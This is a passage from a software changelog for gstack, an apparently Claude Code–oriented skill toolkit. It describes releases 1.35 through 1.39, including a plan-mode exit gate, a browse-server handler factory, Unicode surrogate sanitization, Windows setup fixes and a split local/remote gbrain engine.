Regression protection None — gate placement could silently regress on any future template edit bun test test/gen-skill-docs.test.ts asserts gate is terminal ## heading in 4 plan-* skills (with fenced-code-block stripping) and present in codex via toContain.

Cross-model review by Codex (/codex consult mode) caught six pre-merge factual issues the eng review missed: insertion line numbers were not terminal positions, the test regex would false-match ## lines inside fenced code blocks, the existing REVIEW_SKILLS constant in the test file was missing plan-devex-review, the preamble retoning bled review-report rules into operational skills, gate check 4 conflicted with PLAN_FILE_REVIEW_REPORT's "skip silently if no plan file" escape clause, and the implementation sequence wasn't explicit enough to prevent bisect-broken commits. All six folded in before push.

What this means for plan reviews

When the model finishes a plan-* review and is about to exit plan mode, it reads a blocking checklist that reframes ExitPlanMode as a precondition-bearing call, not a free termination. The plan ships with its review report attached as the file's terminal heading, every time. If the user has been bitten by "approved a plan only to discover the review report was never written" before, that failure mode is gone.

Itemized changes

Added

generateExitPlanModeGate resolver in scripts/resolvers/review.ts:161 — emits the 4-item blocking checklist with "contract violation" framing. Single source of truth for the gate text.

EXIT_PLAN_MODE_GATE placeholder registered in scripts/resolvers/index.ts:42. Appended at EOF of plan-eng-review/SKILL.md.tmpl, plan-ceo-review/SKILL.md.tmpl, plan-design-review/SKILL.md.tmpl, plan-devex-review/SKILL.md.tmpl. Inserted into codex/SKILL.md.tmpl after {{PLAN_FILE_REVIEW_REPORT}} in Step 2A (mid-file by design — Step 2B/2C are not plan-touching modes).

test/gen-skill-docs.test.ts:3097 — new EXIT PLAN MODE GATE placement describe block. Strips fenced code blocks before matching ## headings (a naive regex would false-match the ## GSTACK REVIEW REPORT example inside PLAN_FILE_REVIEW_REPORT's fenced markdown block). Uses a fresh skill list — not the upstream REVIEW_SKILLS constant which only has 3 entries and would silently miss plan-devex-review.

Changed

scripts/resolvers/preamble/generate-completion-status.ts:82 — ## Plan Status Footer retoned from enforcement language ("if the plan file lacks ## GSTACK REVIEW REPORT, run gstack-review-read... PLAN MODE EXCEPTION — always allowed") to neutral forward reference ("plan-review skills include the EXIT PLAN MODE GATE at the end; this footer is a no-op for operational skills"). Avoids review-report rules bleeding into /ship, /qa, /review, /health, etc.

test/gen-skill-docs.test.ts:1093 — updated existing "Plan status footer in preamble" assertion to match the new neutral wording. Now also asserts the absence of "NO REVIEWS YET" to lock in the no-bleed property.

test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md — golden baselines updated to capture the new preamble wording. The ship skill's body did not change; only the inherited preamble footer.

Fixed

package.json build script — three { git rev-parse HEAD 2>/dev/null || true; } brace groups (Bun-Windows-hostile) regressed during the v1.38.0.0 merge resolution; replaced with ( ... ) subshells to match the v1.38.0.0 invariant. Caught by Windows CI's build-script-shell-compat test on PR #1512.

For contributors

The implementation sequence is load-bearing: resolver → index → templates → preamble → bun run gen:skill-docs → tests. Adding the test before regeneration fails on missing gate; regenerating before the resolver edits produces no-op output. Bisectable commits should respect this order.

The codex gate is intentionally NOT terminal in codex/SKILL.md. Codex has three modes (review/challenge/consult) and only review mode writes to plan files. The gate's check-2 ("last heading is GSTACK REVIEW REPORT") short-circuits cleanly when no plan file is in context, so non-plan codex invocations are unaffected.

[1.39.0.0] - 2026-05-14

buildFetchHandler ships. Embedders compose overlay routes on top of

gstack's dispatch without forking the browse server.

The browse daemon's request handler is now exposed as a factory. Embedders pass a ServerConfig with their own authToken, browserManager, and an optional beforeRoute hook, and gstack returns a ServerHandle with fetchLocal, fetchTunnel, shutdown, and stopListeners. The CLI path delegates to the same factory, so externally-observable behavior is unchanged. Auth state is now cfg-driven end-to-end: the module-level AUTH_TOKEN constant, its initRegistry boot call, the module validateAuth, and the module shutdown are deleted, and the factory closure owns those responsibilities so the embedder's browser is the one that actually closes on shutdown. The beforeRoute hook fires after the tunnel surface filter and before per-route dispatch. Returning a Response short-circuits gstack; returning null falls through to the gstack route. Invalid bearer resolves to null at the hook (per a new security warning in the JSDoc), so overlay code gates on its own trust signal rather than re-implementing bearer auth.

The numbers that matter

Source: bun test browse/test/server-factory.test.ts — 28 tests covering both the type surface (14 pre-existing) and the new factory contract (14 added), all green in 344 ms. Plus 49 token-registry tests, 8 browser-skills-e2e tests, 29 browser-skill-commands tests, 15 skill-token tests — every test that uses initRegistry under the new idempotency guard passes. Zero new test regressions versus main across the rest of the suite.

Surface Before After

buildFetchHandler(cfg: ServerConfig): ServerHandle type-only; throwing factory not exported live factory used by CLI + ready for gbrowser submodule

beforeRoute overlay hook declared in ServerConfig since v1.34.0.0, never wired runs after tunnel filter and before per-route dispatch; short-circuits on Response, falls through on null

Module-level AUTH_TOKEN const sanitizeAuthToken(process.env.AUTH_TOKEN) ?? randomUUID() baked at import time, read by 7+ call sites deleted; cfg.authToken is the single source of truth, threaded through launchHeaded, the state file write, and the factory in one pass

Module-level validateAuth reads module AUTH_TOKEN deleted; factory-scoped closure reads cfg.authToken

Module-level shutdown closes module-level browserManager (wrong for phoenix) deleted; factory-scoped shutdown closes cfg.browserManager

initRegistry overwrites rootToken unconditionally idempotent for same token; throws clearly for different token (catches embedder misconfiguration at boot)

__resetRegistry() test helper did not exist mirrors __resetConnectRateLimit; lets tests start with a clean registry without tripping the new guard

Net diff — ~500 LOC moved + 14 new contract tests + 1 idempotency guard + 1 hook wiring + 4 test files updated to use __resetRegistry

The factory deletes the import-time env coupling that v1.34.0.0 documented but couldn't fix on its own.

What this means for embedders

gbrowser v0.6.0.0 (phoenix overlay) can now ship. Phoenix imports buildFetchHandler directly, passes its own BrowserManager and an overlay hook, and the same gstack dispatch carries every command. No fork, no duplicated routes, no need to set process.env.AUTH_TOKEN before importing. For the CLI, nothing changes.

Itemized changes

Added

buildFetchHandler(cfg: ServerConfig): ServerHandle in browse/src/server.ts.

beforeRoute hook wiring in the request handler, with a security warning JSDoc for overlay authors.

14 factory contract tests in browse/test/server-factory.test.ts (covers ServerHandle shape, auth wiring, validation throws, hook semantics across both surfaces, and registry idempotency / mismatch-throw).

__resetRegistry() test-only export in browse/src/token-registry.ts (mirrors __resetConnectRateLimit).

Module-level activeShutdown ref so module-level timers and signal handlers route through the factory-scoped shutdown.

Changed

start() delegates handler construction to buildFetchHandler. Reads env once via resolveConfigFromEnv() and threads the resulting authToken into launchHeaded, the state-file write, and the factory.

Auth is now cfg-driven end-to-end. Module-level AUTH_TOKEN const, initRegistry(AUTH_TOKEN) boot call, validateAuth, and shutdown are deleted; factory closure owns them.

initRegistry is idempotent for same-token re-init; throws clearly for different-token re-init with a message pointing embedders to buildFetchHandler.

Bun.serve return value (server) is captured in start() (Codex outside-voice finding #8).

ServerConfig.beforeRoute JSDoc updated for contract honesty plus a security warning about not returning privileged data from the hook without re-checking auth.

For contributors

Lifecycle singletons (LOCAL_LISTEN_PORT, tunnelActive, inspector state, isShuttingDown) intentionally stay at module scope; auth state does not. Multi-handle isolation is captured as a follow-up TODO.

Existing tests that followed rotateRoot() → initRegistry('fixed-token') swap to __resetRegistry() → initRegistry('fixed-token') so the new mismatch guard doesn't fire.

Source-pattern tests in dual-listener.test.ts and server-auth.test.ts updated to match the new identifiers (handle.fetchLocal/handle.fetchTunnel, authToken, shutdownFn).

[1.38.1.0] - 2026-05-14

Every review skill ends with a build-actionable task checklist. Federation sync stops dropping office-hours design docs. Surrogate sanitization gets a defense-in-depth second layer on top of v1.38.0.0's choke point.

Two community-filed issues land as one wave: per-skill Implementation Tasks with JSONL handoff to /autoplan, and root-level artifact patterns in .brain-allowlist. Plus a testable buildCommandResponse extraction and JSON-escape sanitizer on top of v1.38.0.0's handleCommandInternal choke-point fix for #1440.

v1.38.0.0 (just shipped) put surrogate sanitization at the architectural choke point inside handleCommandInternal — every command result is now sanitized once before any caller (HTTP, /batch, scoped-token dispatch) sees it. This release adds a defense-in-depth second layer: buildCommandResponse is extracted from handleCommand as an exported pure function, so the HTTP-response boundary is independently unit-testable, and a stripLoneSurrogateEscapes pass handles \uXXXX JSON escape sequences in case any payload was already JSON-stringified before reaching the choke point. The two layers compose: choke point catches raw surrogates at result-build time, boundary catches anything that slipped through as escape text.

All four review skills (CEO / design / eng / DX) now end with an ## Implementation Tasks markdown checklist and write a jq-built JSONL artifact to ~/.gstack/projects/$SLUG/tasks-{phase}-{datetime}.jsonl. /autoplan's Phase 4 reads all four files, scopes by current branch + 5-commit window, dedupes on exact (component, sorted(files), title) matches, and renders one aggregated list inside the final approval gate. Tasks that derive from the same finding now collapse; tasks that just happen to touch the same file with different titles surface separately so the human can decide whether they're the same work. Standalone review runs (/plan-eng-review alone, etc.) produce their own task list and JSONL file even outside autoplan — the JSONL is the handoff contract.

Federation sync (gstack-brain-sync) was silently skipping root-level design and test-plan docs — /office-hours and /plan-eng-review write at projects/{slug}/{user}-{branch}-design-*.md, but the allowlist only knew about projects/*/designs/*.md and projects/*/ceo-plans/*.md. New patterns ship in .brain-allowlist, .brain-privacy-map.json (classified as artifact), and .gitattributes (with merge=union to handle cross-machine conflicts). An idempotent jq-based migration (gstack-upgrade/migrations/v1.38.1.0.sh) patches existing installs in-place without re-running gstack-artifacts-init (which would have done a git commit + push and clobbered user state).

The numbers that matter

Source: bun test browse/test/sanitize.test.ts browse/test/build-command-response.test.ts test/artifacts-init-migration.test.ts — 32 new unit tests covering every fix surface, all green.

Surface Before After

API 400 from $B text on surrogate-containing page Crash Sanitized at extraction + chokepoint

API 400 from $B html, $B accessibility, $B batch Crash (chokepoint bypassed) Sanitized at buildCommandResponse + /batch envelope

Application/json bodies with \uXXXX escape surrogates Still crash (regex matches raw codepoints only) Second-pass stripLoneSurrogateEscapes handles escape text

/autoplan final output Decision summary, no task list Decision summary plus aggregated Implementation Tasks from all 4 phases

Standalone /plan-eng-review output Required-outputs sections, no task list Same plus per-skill Implementation Tasks + JSONL handoff

/office-hours design docs in federation queue Silently skipped (root-level not in allowlist) Queued, classified artifact, union-merge rule applied

Lone surrogate sanitizer perf on 1MB clean text n/a <500ms (single regex pass)

buildCommandResponse testability Embedded inside handleCommand, not exported Extracted, exported, 7 unit tests cover it

What this means for builders

Page captures with mixed-script Unicode round-trip cleanly to the Claude API now. Every review skill you run ends with a checkbox list of build tasks you can hand to Claude Code or Codex. Federation sync picks up the design docs that were silently dropping out of your brain repo. Run /gstack-upgrade to pick up the migration that patches your .brain-allowlist, .brain-privacy-map.json, and .gitattributes in place; no commit + push, no user-state clobber.

Itemized changes

Fixed

Defense in depth on top of v1.38.0.0's surrogate sanitization (#1440) — v1.38.0.0 sanitizes at handleCommandInternal (the choke point all callers go through). This release adds a second layer at the HTTP-response boundary: browse/src/sanitize.ts (new) exports stripLoneSurrogates, stripLoneSurrogateEscapes (handles \uXXXX JSON-escape variants the raw-codepoint regex misses), and sanitizeBody (picks the right pass for text/plain vs application/json). buildCommandResponse is extracted from handleCommand and exported so the response boundary is unit-testable without spinning up the server. /batch also gets a per-result + envelope sanitize as belt-and-suspenders. Defense-in-depth wraps at getCleanText, getCleanTextWithStripping, html, accessibility, and snapshot extraction sites so downstream consumers (datamarking, envelope wrapping) see clean text before any further processing.

Federation sync drops /office-hours and /plan-eng-review artifacts (#1452) — bin/gstack-artifacts-init adds projects/*/*-design-*.md and projects/*/*-test-plan-*.md to all three managed blocks: .brain-allowlist, .brain-privacy-map.json (class artifact), and .gitattributes (merge=union).

/setup-gbrain wrong config key (#1441) — verified already-fixed in v1.27.0.0; closed the issue with a comment citing the migration script that aligns legacy gbrain_sync_mode installs to the current artifacts_sync_mode key.

Added

## Implementation Tasks section + JSONL handoff in every review skill (#1454) — plan-ceo-review, plan-design-review, plan-eng-review, plan-devex-review each emit a per-skill markdown checklist and write ~/.gstack/projects/$SLUG/tasks-{phase}-{datetime}.jsonl via jq -nc (never hand-rolled echo). /autoplan Phase 4 reads all four phase JSONL files, scopes by current branch and 5-commit window, dedupes on exact (component, sorted(files), title) matches, and renders one aggregated list. Near-duplicates surface separately with a possible-duplicate note for human resolution.

browse/src/sanitize.ts — two surrogate-stripping utilities plus a convenience selector keyed on content-type. Pairs with a refactored buildCommandResponse in server.ts (exported for testability) and per-result sanitization in the /batch handler.

gstack-upgrade/migrations/v1.38.1.0.sh — idempotent per-file repair for .brain-allowlist, .brain-privacy-map.json, and .gitattributes. Uses jq for the JSON file (preserves validity); falls back with a clear warning if jq is missing. Does NOT re-run gstack-artifacts-init (which would commit + push to the user's federated repo).

32 new unit tests across browse/test/sanitize.test.ts (18), browse/test/build-command-response.test.ts (7), test/artifacts-init-migration.test.ts (7). All gate-tier (free, runs on every PR).

Changed

browse/src/snapshot.ts, read-commands.ts, content-security.ts — defense-in-depth surrogate wraps at extraction sites that feed pre-Response consumers (datamarking, envelope wrapping).

scripts/resolvers/tasks-section.ts (new) + scripts/task-emission-schema.ts (new) — shared resolver and schema for the per-skill task emission. Each review template invokes {{TASKS_SECTION_EMIT:<phase>}} once.

For contributors

/codex review on Codex CLI ≥0.130.0 was handled separately by v1.34.2.0 (the dual-path bare/exec approach). Our planning surfaced an adjacent concern: the bare path no longer carries the filesystem boundary, so codex may waste tokens reading skill files when the diff happens to touch .claude/skills/. Filed as a follow-up issue; not blocking this release.

The implementation-tasks aggregation in /autoplan uses a structured JSONL handoff between phases rather than re-parsing markdown. Schema lives in scripts/task-emission-schema.ts. Adding a fifth review phase means adding the phase name to VALID_PHASES in scripts/resolvers/tasks-section.ts and including {{TASKS_SECTION_EMIT:<phase-name>}} in the new review template.

Touchfiles entries are unchanged — the new tests are all gate-tier unit tests that run on bun test. Touchfiles is only for E2E + LLM evals.

[1.38.0.0] - 2026-05-14

Windows install actually works across every host adapter. Page scrapes survive lone Unicode surrogates on every egress path.

Forty-two ln -snf call sites in setup now route through one helper that picks cp -R / cp -f on MSYS2/Git Bash. The browse server sanitizes lone surrogates at the architectural choke point so HTTP, batch, and both SSE streams inherit it. The Windows free-test CI lane moves to a paid faster runner.

Windows users who pull git pull && ./setup now get fresh skill files for every host adapter (Claude, Codex, Factory, OpenCode, Kiro) — not just the top-level Claude SKILL.md. The previous behavior was silent staleness: ln -snf on Windows-without-Developer-Mode produces a frozen file copy that doesn't refresh on subsequent runs. A new _link_or_copy helper in setup dispatches on IS_WINDOWS and picks the right primitive (cp -R for directories, cp -f for files, ln -snf otherwise). All 42 symlink sites route through it. A static-invariant test asserts zero raw ln calls outside the helper body so the bug can't return through future contributions.

The browse server's Unicode sanitization lifts from handleCommand (PR #1463's original target) to handleCommandInternal so the batch command path (/command/batch) inherits it too. Both SSE producers (activity feed at /activity/stream and inspector stream) now stringify with a sanitizeReplacer function that cleans every string value during JSON.stringify — post-stringify regex is ineffective there because JSON.stringify has already converted \uD800 into the escape sequence "\\ud800" before the regex would run. Result: every page-content payload that ships from the server has lone UTF-16 surrogate halves replaced with U+FFFD before any downstream consumer (Anthropic API, sidebar JSON.parse) sees them.

All Linux CI jobs migrate to ubicloud-standard-8 for consolidated billing and 4x more cores than free ubuntu-latest. Eight workflows touch the Linux pool: evals.yml, evals-periodic.yml, ci-image.yml, make-pdf-gate.yml, actionlint.yml, pr-title-sync.yml, skill-docs.yml, version-gate.yml. The Windows-only job (windows-free-tests.yml) stays on GitHub's free windows-latest — Ubicloud doesn't ship a Windows pool, GitHub's paid windows-latest-8-cores requires org-level larger-runner billing enablement, and the wave-coverage tests this job runs are small enough that the slower 4-core free runner keeps total job time under 2 minutes. Four new wave tests get registered: sanitizer unit + bug-repro + wiring invariants, setup helper static-invariant + behavior matrix, build-script POSIX-shell sanity, and a doc-vs-config deprecated-key drift guard. Docs that still referenced the renamed gbrain_sync_mode config key now say artifacts_sync_mode consistently, and the drift guard prevents reintroduction.

Contributed by @realcarsonterry: PRs #1460, #1461, #1462, and #1463 are the seed of this wave. The scope expansion to all 42 setup sites + every server egress path + Windows CI migration is the gstack maintainer's follow-through.

The numbers that matter

Source: this branch's diff against origin/main and the wave plan at ~/.claude/plans/system-instruction-you-are-working-peppy-volcano.md (target ship slot v1.38.0.0 after queue advance past in-flight PR #1500).

Surface Before After Δ

setup symlink sites guarded for Windows 0 of 42 42 of 42 +42

Server Unicode-sanitization egress points 0 4 (HTTP, batch, activity SSE, inspector SSE) +4

Bash brace groups in package.json build script (Bun-Windows-hostile) 3 0 -3

Stale gbrain_sync_mode references in docs 5 0 -5

New regression tests 0 29 (4 files) +29

Linux CI runner pool mix of ubuntu-latest (4 core, free) + ubicloud-standard-2 ubicloud-standard-8 everywhere single billing surface for Linux, 4x more cores on previously-free jobs

Windows CI runner windows-latest (free) windows-latest (free, unchanged) Ubicloud doesn't offer Windows; paid GitHub larger-runner option requires org-billing toggle not currently set

The static invariant test (D7) reads setup and asserts zero raw ln calls outside the _link_or_copy helper body — even a single one-line slip by a future contributor fails the build.

What this means for downstream gstack users

If you run gstack on Windows: ./setup now produces a working install across every host adapter, and the user-visible note tells you to re-run after git pull. If you scrape pages with non-Latin text or emoji: Bun's CDP responses can no longer break the Anthropic API with lone-surrogate JSON bodies — sanitization is single-point and inherited by every server egress path. If you contribute to gstack: a future ln -snf slip in setup will fail CI, and a future SSE endpoint that bypasses sanitization is flagged by an inline invariant comment plus this CHANGELOG entry.

Itemized changes

Added

browse/test/server-sanitize-surrogates.test.ts — 11 unit cases (passthrough, valid pair, lone high/low mid-string, trailing/leading lone, adjacent doubles, pair-then-lone, lone-then-pair), 2 bug-repro tests (UTF-8 round-trip + JSON round-trip), 3 wiring-invariant tests (handleCommandInternalImpl rename, SSE activity, SSE inspector).

test/setup-windows-fallback.test.ts — static invariant (zero raw ln calls outside helper), helper-existence assertions, behavior matrix (4 cells: file/dir × Windows/Unix) via awk-style helper extraction + bash -c sourcing, Windows-note printer registration check.

test/build-script-shell-compat.test.ts — regex against package.json scripts.* rejecting bash brace groups (Bun-Windows-hostile); asserts .version redirects use subshells, not braces.

test/docs-config-keys.test.ts — deprecated-key denylist (gbrain_sync_mode, gbrain_sync_mode_prompted) scanned across docs/**/*.md; round-trip test for gstack-config get artifacts_sync_mode.

Changed

browse/src/server.ts — handleCommandInternal split into handleCommandInternalImpl (raw) + thin sanitizing wrapper. Single egress point for both HTTP and batch consumers. Inline INVARIANT comment near the wrapper documents the architectural constraint.

browse/src/server.ts SSE producers — activity feed (/activity/stream) and inspector stream stringify with sanitizeReplacer, a JSON.stringify replacer function that cleans every string value during encoding. Post-stringify regex is a no-op because JSON.stringify has already converted \uD800 to "\\ud800" before the regex could match. Inline INVARIANT comment in each.

setup — new _link_or_copy SRC DST helper near IS_WINDOWS detection (~line 33). Auto-dispatches on file-vs-directory + Windows-vs-Unix, and skips Unix-style name-only aliases (e.g. gstack/open-gstack-browser for the connect-chrome alias) when the source doesn't resolve on disk so Windows installs don't abort under set -e. All 42 prior ln -snf call sites converted to _link_or_copy. New _print_windows_copy_note_once helper called from link_claude_skill_dirs after any link work completes. cleanup_old_claude_symlinks and cleanup_prefixed_claude_symlinks extended with a Windows branch so --prefix / --no-prefix flips remove stale real-file SKILL.md copies instead of leaving them behind.

.github/workflows/*.yml (8 Linux workflows) — every Linux runs-on switched to ubicloud-standard-8: evals.yml, evals-periodic.yml, ci-image.yml, actionlint.yml, pr-title-sync.yml, skill-docs.yml, version-gate.yml, and make-pdf-gate.yml's Linux matrix entry. The evals.yml matrix default and the prose footer both updated to reference ubicloud-standard-8.

.github/workflows/windows-free-tests.yml — stays on GitHub-hosted free windows-latest. Test-list expanded to include the 4 new wave tests. Earlier attempts on Blacksmith/GitHub-larger/Ubicloud-Windows all failed (label not registered, org-billing off, vendor doesn't offer Windows respectively); free windows-latest is the working path.

.github/actionlint.yaml — registers the two Ubicloud Linux labels (ubicloud-standard-2, ubicloud-standard-8) so workflow lint accepts them. The duplicate dead-weight actionlint.yaml at the repo root is removed (actionlint only reads .github/actionlint.yaml).

package.json — build script's three { git rev-parse HEAD 2>/dev/null || true; } > path/.version brace groups replaced with ( ... ) subshells. POSIX-universal, Bun-Windows-compatible.

docs/gbrain-sync.md, docs/gbrain-sync-errors.md — 5 stale gbrain_sync_mode config-key references → artifacts_sync_mode (the rename landed in v1.27.0.0 but two docs still pointed at the old key).

For contributors

Architectural invariant (Unicode): every JSON.stringify call that serializes page-content-derived strings MUST be passed sanitizeReplacer (for object payloads where consumers will JSON.parse) OR the resulting body MUST be wrapped in sanitizeLoneSurrogates (for text/plain responses). Today this is enforced by handleCommandInternal's sanitizing wrapper for command results and explicit sanitizeReplacer arguments at the two SSE producers. New SSE/WebSocket writers must follow the same pattern; inline comments near both producers say so.

Architectural invariant (setup): every symlink in setup MUST go through _link_or_copy. Enforced by test/setup-windows-fallback.test.ts's static invariant — a single raw ln call outside the helper body fails CI.

Test coverage gap closed: prior to this wave, the curated Windows CI lane (windows-free-tests.yml) didn't exercise the install-symlink path, the Unicode sanitization, the build-script shell compat, or doc-config drift. All four now run on every PR.

Out of scope (P2 follow-ups): pushing sanitization deeper to browse/src/snapshot.ts (covers WebSocket frames that don't transit cr.result); porting the 24 POSIX-bound free tests to run on Windows (tracked in windows-free-tests.yml's own comments).

[1.37.0.0] - 2026-05-14

Split-engine gbrain: remote MCP for brain, local PGLite for code.

Symbol-aware code search now coexists with cross-machine knowledge.

Path 4 (Remote MCP) setup gets a new opt-in at Step 4.5: a tiny local PGLite (~30s, ~120 MB) for gbrain code-def, code-refs, code-callers per worktree. The remote brain keeps holding artifacts, transcripts, and cross-machine queries. The two engines stay independent. Transcripts route to the artifacts repo on remote-MCP machines, the brain admin's pull job indexes them, and the local PGLite stays code-only with no transcript pollution. A new gbrain_local_status field on gstack-gbrain-detect distinguishes ok / no-cli / missing-config / broken-config / broken-db; /sync-gbrain and the sync orchestrator both gate on it so a dead Postgres URL gives a clear remediation message instead of two stages of ERR output.

/setup-gbrain Step 1.5 (new) detects a broken local engine on re-run and offers four options: Retry the probe, Switch to PGLite (one-way, .bak rollback on failure), Switch brain mode (fall through to Step 2's path picker), or Quit. /sync-gbrain Step 1.5 (new) STOPs cleanly on broken-config / broken-db with a remediation message and SKIPs code+memory in missing-config + remote-http so the brain-sync push to the artifacts repo still runs.

The numbers that matter

Source: bun test test/gbrain-local-status.test.ts test/gbrain-detect-shape.test.ts test/gbrain-sync-skip.test.ts test/gbrain-init-rollback.test.ts test/gstack-upgrade-migration-v1_37_0_0.test.ts — 5 new gate-tier test files, 27 cases, all green in ~5s. Periodic-tier E2E test/skill-e2e-setup-gbrain-path4-local-pglite.test.ts runs the full Path 4 + Step 4.5 Yes flow against a stub MCP and passes in 280s.

Surface Before After

Path 4 + /sync-gbrain --full output (Garry's broken-db state) ERR code source registration failed: gbrain not configured (run /setup-gbrain) + ERR memory gbrain import exited 1: Cannot connect to database SKIP code skipped — local engine broken-db — config points at unreachable DB; see /setup-gbrain Step 1.5 + brain-sync runs normally

bin/gstack-gbrain-detect runtime bash + jq, single-purpose probe TypeScript shebang script sharing the localEngineStatus() classifier with the orchestrator. 10 JSON fields, 9 existing keys byte-compat; one new gbrain_local_status enum. Memoized resolvers cut ~400ms of duplicate fork-exec per skill preamble.

Status probe cost gbrain doctor --json without --fast could hang up to 5s on dead DB gbrain doctor --json --fast (3s ceiling) + DB-reachability via gbrain sources list --json stderr classification (~80ms steady), 60s TTL cache keyed on {HOME, PATH, gbrain bin, gbrain version, config mtime}

Path 4 user discovers code search Hidden — only /sync-gbrain errors hint at it /gstack-upgrade migration v1.37.0.0 prints a one-time notice when gbrain_mcp_mode == remote-http AND gbrain_local_status == missing-config. gstack-config set local_code_index_offered true to silence.

Transcripts indexed in remote brain Local-only gbrain import writes to the LOCAL engine, polluting PGLite if user opts into Step 4.5 gstack-memory-ingest detects remote-http MCP, persists staged markdown to ~/.gstack/transcripts/run-<pid>-<ts>/ instead of tmpdir, skips local gbrain import. bin/gstack-brain-sync allowlist now covers transcripts/run-*/*.md; brain admin pulls and indexes.

Itemized changes

Added

lib/gbrain-local-status.ts — shared 5-state engine status classifier (ok / no-cli / missing-config / broken-config / broken-db) with 60s TTL cache and --no-cache flag. Probes via gbrain sources list --json + stderr classification reusing the exact patterns from lib/gbrain-sources.ts:66-67.

/setup-gbrain Step 1.5 — broken-db remediation with 4 options (Retry / Switch to PGLite / Switch brain mode / Quit). PGLite switch is rollback-safe: mv ~/.gbrain/config.json to a timestamped .bak, gbrain init --pglite, on non-zero exit restore the .bak verbatim.

/setup-gbrain Step 4.5 — Path 4 opt-in for local PGLite code search. Yes path runs gstack-gbrain-install (idempotent) + gbrain init --pglite --json with the same rollback semantics. No path keeps Path 4 as remote-MCP-only.

/sync-gbrain Step 1.5 — pre-flight local engine status check. STOPs on broken-config / broken-db with remediation, SKIPs code+memory in missing-config + remote-http so brain-sync still runs.

gstack-upgrade/migrations/v1.37.0.0.sh — one-time discoverability notice for existing Path 4 users whose machine has no local engine yet.

bin/gstack-brain-sync allowlist — transcripts/run-*/*.md so remote-MCP transcripts persisted to ~/.gstack/transcripts/ reach the artifacts repo.

New test files (gate-tier, all mocked, no real gbrain): gbrain-local-status.test.ts (11 cases), gbrain-detect-shape.test.ts (8 cases), gbrain-sync-skip.test.ts (5 cases), gbrain-init-rollback.test.ts (3 cases), gstack-upgrade-migration-v1_37_0_0.test.ts (5 cases).

Periodic-tier E2E skill-e2e-setup-gbrain-path4-local-pglite.test.ts for the full Path 4 + Step 4.5 Yes flow.

Changed

bin/gstack-gbrain-detect — rewritten bash → TypeScript shebang script. Filename unchanged so existing skill preamble callers shell out without edits. 9 existing JSON fields preserve name + type + semantics; new gbrain_local_status field added. Documented dependency: requires bun on PATH (the gstack installer already provides this).

bin/gstack-gbrain-sync.ts — runCodeImport() + runMemoryIngest() return {ran: false, summary: "skipped — local engine <status>; remote MCP unaffected"} when localEngineStatus() != 'ok'. Brain-sync stage continues regardless.

bin/gstack-memory-ingest.ts — when gbrain_mcp_mode === 'remote-http', persists staged transcripts to ~/.gstack/transcripts/run-<pid>-<ts>/ and skips local gbrain import entirely.

bin/gstack-artifacts-init — extends the managed .brain-allowlist to include transcripts/run-*/*.md and transcripts/run-*/**/*.md (privacy class: behavioral).

sync-gbrain/SKILL.md.tmpl Step 1 — corrects misleading prose about memory stage "routing through MCP." Memory stage always shells out to local gbrain import; in remote-http mode it persists markdown instead.

Fixed

Pre-existing flake in test/gstack-next-version.test.ts — bumped per-test timeout from default 5s to 15s. Spawned gstack-next-version CLI takes 4-5s wall time on M-series Macs under suite load and tipped over 5001ms intermittently.

For contributors

New shared classifier pattern: lib/gbrain-local-status.ts exports localEngineStatus(), resolveGbrainBin(), readGbrainVersion(). The latter two are memoized per-process keyed on PATH so detect + classifier share fork-exec results.

13 architectural decisions captured in plan file ~/.claude/plans/the-real-product-fix-squishy-galaxy.md — including Codex outside-voice findings (4 became structural decisions: keep proactive setup question, route transcripts via artifacts repo, SKIP+brain-sync on broken engine, retry-first repair menu).

[1.35.0.0] - 2026-05-13

Docs become a tracked surface, not an afterthought. /document-generate writes them from scratch, /document-release audits coverage in four Diataxis quadrants.

Every PR now ships a coverage map of what got documented vs what shipped. New skill generates tutorials, how-tos, references, and explanations from code. Both speak the same vocabulary, so gaps become visible in the PR body instead of accumulating silently.

You can now run /document-generate to write missing documentation from scratch. The skill reads your code first (the codebase archaeology step is non-skippable), maps the public surface, then writes docs in the four Diataxis quadrants: tutorial (newcomer walkthrough), how-to (task-oriented), reference (factual API description), explanation (design rationale). It runs standalone or chains automatically from /document-release when the coverage map finds gaps. /document-release got a Step 1.5 coverage map that scores every new entity across the four quadrants. Items with zero coverage show up as critical gaps in the PR body. Items with reference-only coverage show up as common gaps. Architecture diagrams get scanned for entity-name drift against the diff. The CHANGELOG voice check now uses a 0-3 sell-test rubric: 1 point each for "what changed?", "why care?", and "how to use it?". Entries below 2 get rewritten.

A new section in CLAUDE.md documents the fork-PR workflow for garrytan-agents PRs: push the branch to garrytan/gstack and re-target so eval CI can access secrets. The pattern keeps secret distribution scoped to one branch instead of broadening it to all forks.

The numbers that matter

Source: this PR's diff against origin/main and the new skill template at document-generate/SKILL.md.tmpl.

Surface Before After

Doc-generation skills 1 (/document-release) 2 (/document-generate + enhanced /document-release)

Diataxis quadrants surfaced in PR body 0 4 (tutorial / how-to / reference / explanation)

/document-release workflow steps 9 9 + new Step 1.5 (coverage map)

CHANGELOG voice scoring gut-check ("would a user think 'oh nice'?") 0-3 rubric (3 = reference + explanation + how-to all present)

Architecture diagram drift detection none scans ARCHITECTURE.md against diff for renamed/removed entities

Doc-debt visibility in PR none ### Documentation Debt subsection with critical + common gaps per Diataxis quadrant

/document-generate is 446 lines of new template producing a 1184-line generated SKILL.md. The Diataxis vocabulary makes "did docs get updated?" a visible answer instead of an implicit one.

What this means for downstream gstack users

You stop guessing whether your docs are complete. When you ship a new skill, /document-release shows you which quadrants you covered and which you skipped, and the gaps land in the PR body where reviewers see them. When you want to bootstrap docs for an existing project, /document-generate walks you from zero to four-quadrant coverage in one session. Diataxis becomes the shared vocabulary across /ship, /document-release, /document-generate, and whatever skill comes next that needs to know whether you have a tutorial.

To use: run /document-release after /ship (or let /ship auto-invoke it), see the coverage map in the PR body, then run /document-generate if it flags critical gaps.

Itemized changes

Added

/document-generate skill (document-generate/SKILL.md.tmpl, 446 lines): Diataxis-based documentation generator with 9-step workflow — scope, codebase archaeology, partition, reference, explanation, how-to, tutorial, cross-linking, quality self-review. Reads the full codebase before writing a single line of docs.

/document-release Step 1.5 — Coverage Map: scans diff for new public surface (skills, CLI flags, config options, API endpoints), classifies each entity by Diataxis quadrant coverage, flags zero-coverage items as critical gaps and reference-only as common gaps. Output feeds the PR body.

/document-release Architecture diagram drift detection: extracts entity names from ASCII/Mermaid blocks in ARCHITECTURE.md, cross-references against the diff, flags renamed/removed entities.

/document-release ### Documentation Debt section in PR body: surfaces critical gaps, common gaps, and stale diagrams with a one-line description + Diataxis quadrant per item. Suggests adding a docs-debt label.

